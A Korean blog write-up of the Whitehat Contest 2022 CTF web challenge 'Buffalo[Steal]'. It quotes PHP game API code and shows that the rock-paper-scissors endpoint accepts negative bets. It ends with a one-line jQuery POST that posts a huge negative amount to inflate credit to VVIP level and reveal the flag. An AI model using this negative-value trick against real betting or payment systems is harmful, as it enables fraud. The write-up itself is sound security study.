본문 바로가기

웹해킹/CTF

화이트햇 콘테스트 2022 Web Buffalo[Steal] Writeup

반응형

화이트햇 콘테스트 2022 Web Buffalo[Steal] Writeup

1. Buffalo[Steal]  Writeup

Buffalo Steal Writeup

Description

적국이 암호화페 세탁 목적으로 만든 겜블링 사이트에서 비밀 정보를 탈취하라.

저번 화이트햇 콘테스트에서 나온 문제인데 학습 및 복습을 위해 다시 Writeup을 작성해보고자 한다.

Buffalo 디렉터리 구조

처음에 파일을 보고 파일이 너무 많길래 한숨 한번 푹 쉬고 시작했다. 먼저 사이트에서 register를 하고 사이트 구경을 하다가 mypage에 들어갔다.

 

 

mypage.php

mypage에서 의심스러운 부분이 있었다. VVIP Member Exclusive 부분에서 빨간 글씨로 적혀있길래 코드에서 확인했다.
 
mypage_VVIP

VVIP 조건을 보니 level이 VVIP이면 $flag가 출력될 것으로 보인다. 

 

VVIP 조건

VVIP 조건은 credit이 1e8(100,000,000)이 넘으면  VVIP 레벨이 된다. 따라서  game을 해서 돈을 벌어와야 할 것 같다.
 
<?php
define("_BUFFALO_", 1);

include "../__common.php";
include "./_api_common.php";

if(isset($USER_DATA["amount"])) {
    $am = (float)$USER_DATA["amount"];
    $u = bin2hex($user["userid"]);

    if($am > $user["credit"] || $am <= 0) {
        error("Invalid bet");
    }
    mysqli_query($conn, "update user set credit = credit - $am where userid = '$u'");


    success("You lose");
}
error("Invalid API call");

위 코드는 api/game_slot.php 코드이다.  여기서 update 문을 통해 user의 credit을 credit - am을 통해서 변경하고 있다. 

 
<?php
define("_BUFFALO_", 1);

include "../__common.php";
include "./_api_common.php";

$sel = $USER_DATA["sel"];
if($sel == "win" || $sel == "lose" || $sel == "draw") {
    $am = (float)$USER_DATA["amount"];
    $u = bin2hex($user["userid"]);

    if($am > $user["credit"]) {
        error("Invalid bet");
    }
    mysqli_query($conn, "update user set credit = credit - $am where userid = '$u'");

    //0, 1, 2 : rock, scissors, paper
    $stack = random_choice(array(
        0 => 1, 1 => 1, 2 => 1
    ));

    $result_table = array(
        "win" => 100, "lose" => 100, "draw" => 100
    );

    //top secret: it's not fair game
    $result_table[$sel] -= 5;
    $result = random_choice($result_table);

    $heap = $stack;
    if($result == "win") {
        $heap = ($stack + 1) % 3;
    }
    else if ($result == "lose") {
        $heap = ($stack + 2) % 3;
    }

    $win = false;
    if($result == $sel) {
        $pay = $am * 1.95;
        mysqli_query($conn, "update user set credit = credit + $pay where userid = '$u';");
        $win = true;
    }

    success("", array(
        "win" => $win,
        "stack" => $stack,
        "heap" => $heap
    ));
}
error("Invalid API call");

mysql query를 봤을 때 따로 - 값에 대한 필터링이 없어 보인다. 따라서 am에는 -100,000,000을 넣고 sel에 win을 넣어주면 credit 값이 변경될 것으로 보인다.

 


exploit

$.post("/api/game_rsp.php", {
  amount: "-99999999999999",
  sel: "win",
});

 

 
화이트햇 콘테스트 2022 writeup

 

이때는 webhacking.kr도 다 못풀던 시절이라 이 문제를 못 풀었다. 아쉽다.

 

참고문헌

https://general.whitehatcontest.com/

https://domdom.tistory.com/entry/%ED%99%94%EC%9D%B4%ED%8A%B8%ED%96%87%EC%BD%98%ED%85%8C%EC%8A%A4%ED%8A%B8-%EC%98%88%EC%84%A0-WebForensics-Writeup

 

 

728x90